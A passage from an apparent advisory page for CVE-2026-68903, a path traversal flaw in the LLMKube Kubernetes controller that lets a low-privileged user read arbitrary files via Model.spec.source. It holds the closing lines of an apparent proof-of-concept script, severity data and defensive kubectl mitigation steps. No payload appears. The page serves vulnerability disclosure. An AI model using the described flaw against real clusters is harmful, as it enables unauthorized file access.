    }

    print("\n=== [RESULT] ===")
    print(json.dumps(result, ensure_ascii=False, indent=2))

    with open(args.output, "w", encoding="utf-8") as fh:
        json.dump(result, fh, ensure_ascii=False, indent=2)
    print(f"\n[+] Result written to: {args.output}")

    sys.exit(0 if passed else 1)


if __name__ == "__main__":
    main()

Source: GHSA-jw3m-8q7m-f35r / CVE-2026-68903, GitHub Advisory Database, licensed CC BY 4.0.

Affected

  • go:github.com/defilantech/llmkube
  • defilantech LLMKube

Frequently asked questions

What is CVE-2026-68903?

LLMKube, a Kubernetes controller, contains a path traversal flaw (CWE-22) in the Model.spec.source field that lets a user read arbitrary files through the controller. NVD records a CVSS 3.1 base score of 7.7 (High) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N, and the GitHub advisory gives the same score and vector. Weakness type: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22).

How severe is CVE-2026-68903?

CVE-2026-68903 has a CVSS 3.1 base score of 7.7 (high), from the CNA (github.com). An attacker with a normal user account can exploit this over the network, without any user action.

Is CVE-2026-68903 being exploited?

Not as far as is known: CVE-2026-68903 is not in CISA's Known Exploited Vulnerabilities catalog as of November 26, 2026. EPSS estimates a 0.5% chance that it is exploited in the next 30 days.

Which versions are affected by CVE-2026-68903?

github.com/defilantech/llmkube (Go) ≤ 0.8.28 (fixed in 0.9.0); defilantech LLMKube < 0.9.0.

How do I fix CVE-2026-68903?

Now: inventory Model objects in all namespaces with kubectl get models --all-namespaces -o yaml and flag any spec.source value that is an absolute path or a file URI. Now: inventory InferenceService objects with kubectl get inferenceservices --all-namespaces -o yaml, because the advisory names this resource in the prerequisite. Now: remove create and update rights on Model and InferenceService from identities in each namespace that do not need them; verify with kubectl auth can-i create models -n NAMESPACE and kubectl auth can-i update inferenceservices -n NAMESPACE.

Timeline & sources

References

Related vulnerabilities & news